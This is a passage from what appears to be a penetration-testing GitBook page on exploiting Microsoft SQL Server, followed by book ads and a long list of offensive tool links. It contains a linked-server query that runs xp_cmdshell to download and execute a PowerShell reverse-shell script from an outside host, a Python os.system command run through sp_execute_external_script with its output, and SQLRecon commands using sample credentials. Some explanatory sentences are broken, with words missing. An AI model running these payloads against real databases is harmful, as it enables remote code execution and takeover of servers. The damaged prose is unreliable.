select * fromopenquery("192.168.23.25",'select * from openquery("db-sqlsrv",''select @@version as version;exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''''http://192.168.100.X/Invoke-PowerShellTcp.ps1'''')"'')')

Automated Exploitation

sp_execute_external_script

SQL (hacker  dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
compatibility\poo_public01

SQLRecon

# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases

# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019

Resources

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Ref:

To write files using MSSQL, we need to enable , which requires admin privileges, and then execute some stored procedures to create the file:

First start or and execute one of the following SQL queries:

The statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).

A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network.

The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others.

Metasploit
https://dbeaver.io/download/
Ole Automation Procedures
Responder
impacket-smbserver
Hashes
EXECUTE
Interesting Books
The Art of Network Penetration Testing
Network Basics for Hackers
authentication modes
Metasploit
Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software VulnerabilitiesPulse Security
Releases · dbeaver/dbeaverGitHub
GitHub - lefayjey/SharpSQLPwn: C# tool to identify and exploit weaknesses within MSSQL instances in Active Directory environmentsGitHub
MSSQL for Pentester: Metasploit - Hacking ArticlesHacking Articles
MSSQL for Pentester: Metasploit - Hacking ArticlesHacking Articles
Logo
Logo
GitHub - Tw1sm/PySQLRecon: Offensive MSSQL toolkit written in Python, based off SQLReconGitHub
MSSQLMetasploit Documentation Penetration Testing Software, Pen Testing Security
Logo
GitHub - dadevel/mssql-spider: Automated exploitation of MSSQL servers at scaleGitHub
GitHub - dadevel/mssql-spider: Automated exploitation of MSSQL servers at scaleGitHub
🔝 How to get a xp_cmdshell reverse shell in a Windows Server - Pentesting AcademyPentesting Academy
MSSQL for Pentester: Command Execution with xp_cmdshell - Hacking ArticlesHacking Articles
GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL ServerGitHub
Logo
HTB: ESCAPEMedium
Logo
GitHub - skahwah/SQLRecon: A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.GitHub
MSSQL · GitBook
1433 - Pentesting MSSQL - Microsoft SQL ServerHackTricks
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo